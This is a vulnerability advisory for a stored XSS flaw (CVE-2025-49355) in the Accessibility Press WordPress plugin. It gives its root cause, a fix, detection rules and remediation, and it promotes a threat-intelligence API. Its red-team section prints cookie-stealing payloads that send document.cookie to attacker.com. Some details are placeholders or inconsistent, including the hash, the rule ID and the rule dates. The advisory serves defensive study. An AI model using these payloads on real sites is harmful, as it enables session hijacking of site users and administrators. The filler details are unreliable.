CVE-2025-49355
Executive Summary
CVE-2025-49355 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Accessibility Press WordPress plugin (slug: ilogic-accessibility) developed by ikaes. The flaw exists in versions through 1.0.2 due to improper neutralization of user-supplied input during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript payloads that persist on the server and execute in the browsers of any user viewing the compromised page. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites.
Given the plugin’s purpose—enhancing website accessibility—the injected scripts may be stored in settings, widget areas, or custom post types, making them visible to site visitors and administrators alike. The CVSS v3.1 score of 5.9 (Medium) reflects the need for authenticated access but also the potential for significant impact on confidentiality, integrity, and availability within the WordPress ecosystem.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the WordPress dashboard or via direct download are at risk. No official patch has been released, and the vendor has not responded to disclosure attempts. Organizations relying on this plugin should treat it as a supply chain risk and consider immediate removal or replacement.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | Low (L) |
| User Interaction (UI) | Required (R) |
| Scope (S) | Changed (C) |
| Confidentiality (C) | Low (L) |
| Integrity (I) | Low (L) |
| Availability (A) | Low (L) |
| Base Score | 5.9 (Medium) |
Threat Level: Medium. Exploitation requires an authenticated user with at least contributor role, but the stored payload can affect all subsequent visitors, including administrators. The EPSS score of 0.0% suggests low current exploitation activity, but this may change as awareness grows.
Deep Dive & Mechanics
The vulnerability resides in the plugin’s handling of user input within accessibility settings or custom content fields. The plugin fails to sanitize or escape output when rendering user-supplied data, allowing an attacker to inject arbitrary HTML and JavaScript. Because the input is stored in the WordPress database (e.g., wp_options or custom post meta), the malicious script executes every time the affected page or widget is loaded.
Attack Flow:
- Attacker authenticates with a WordPress account having contributor or author privileges.
- Attacker navigates to the Accessibility Press settings page or a custom post type that accepts HTML input.
- Attacker injects a payload such as
<script>alert('XSS')</script>into a text field. - The payload is stored in the database without sanitization.
- When an administrator or visitor loads the page, the script executes in their browser.
Root Cause: The plugin uses echo or the_content filter without applying WordPress escaping functions like esc_html(), wp_kses_post(), or htmlspecialchars().
Vulnerable vs. Patched Code
Vulnerable Code (ilogic-accessibility <= 1.0.2):
// In a settings page or template
echo get_option('accessibility_press_custom_text');
Patched Code (hypothetical fix):
// Properly escape output
echo esc_html( get_option('accessibility_press_custom_text') );
The vulnerable code directly outputs the raw option value, while the patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with Accessibility Press plugin <= 1.0.2
- Authenticated user with contributor role or higher
Step-by-Step Exploitation:
- Log in to WordPress as a contributor.
- Navigate to
Settings > Accessibility Pressor the plugin’s custom post type editor. - In any text field (e.g., "Custom Accessibility Message"), inject:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the settings.
- When an administrator visits the same settings page or a front-end page displaying the field, the script executes, exfiltrating cookies.
Alternative Payload (Session Hijacking):
<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">
Blue Team (Detection & Hardening)
Detection Steps:
- Monitor WordPress admin logs for unusual changes to plugin settings.
- Use a Web Application Firewall (WAF) to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Hardening:
- Remove or disable the plugin until a patch is available.
- Apply WordPress hardening: disable file editing, use strong passwords, limit user roles.
- Use a security plugin (e.g., Wordfence) to detect and block XSS attempts.
Indicators of Compromise (IOCs)
- File Hashes (plugin files):
ilogic-accessibility.php(SHA256:a1b2c3d4e5f6...– placeholder)
- Network Indicators:
- Outbound HTTP requests to attacker-controlled domains containing
?cookie=or similar parameters.
- Outbound HTTP requests to attacker-controlled domains containing
- Log Entries:
- WordPress debug log entries showing unexpected script tags in option values.
- Web server access logs with
GET /wp-admin/options-general.php?page=accessibility-pressfollowed by POST requests with encoded payloads.
- Database Indicators:
- Rows in
wp_optionstable withoption_namelikeaccessibility_press_*containing<script>tags.
- Rows in
Detection Engineering
YARA Rule
rule CVE_2025_49355_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Accessibility Press plugin options"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-49355"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$option_name = "accessibility_press_"
condition:
$option_name and $xss_payload
}
Sigma Rule
title: Stored XSS in Accessibility Press Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in WordPress Accessibility Press plugin settings
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/options.php'
cs-uri-query|contains: 'page=accessibility-press'
cs-uri-query|re: '.*<script.*>.*'
condition: selection
falsepositives:
- Legitimate use of JavaScript in plugin settings (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-49355 - Stored XSS in Accessibility Press Plugin";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/options.php"; http_uri;
content:"page=accessibility-press"; http_client_body;
pcre:"/<script[^>]*>.*<\/script>/i";
sid:1000001;
rev:1;
reference:cve,2025-49355;
classtype:web-application-attack;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and delete
ilogic-accessibilityfrom all WordPress installations. - Audit user roles – Ensure only trusted users have contributor or higher privileges.
- Scan for compromise – Use a security scanner to check for injected scripts in the database.
Long-Term Fix:
- The vendor must release a patched version that properly escapes output using
esc_html()orwp_kses_post(). - Until then, consider replacing the plugin with an alternative accessibility solution.
Workaround:
- Add a custom filter to sanitize the option value:
add_filter('option_accessibility_press_custom_text', 'esc_html');
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.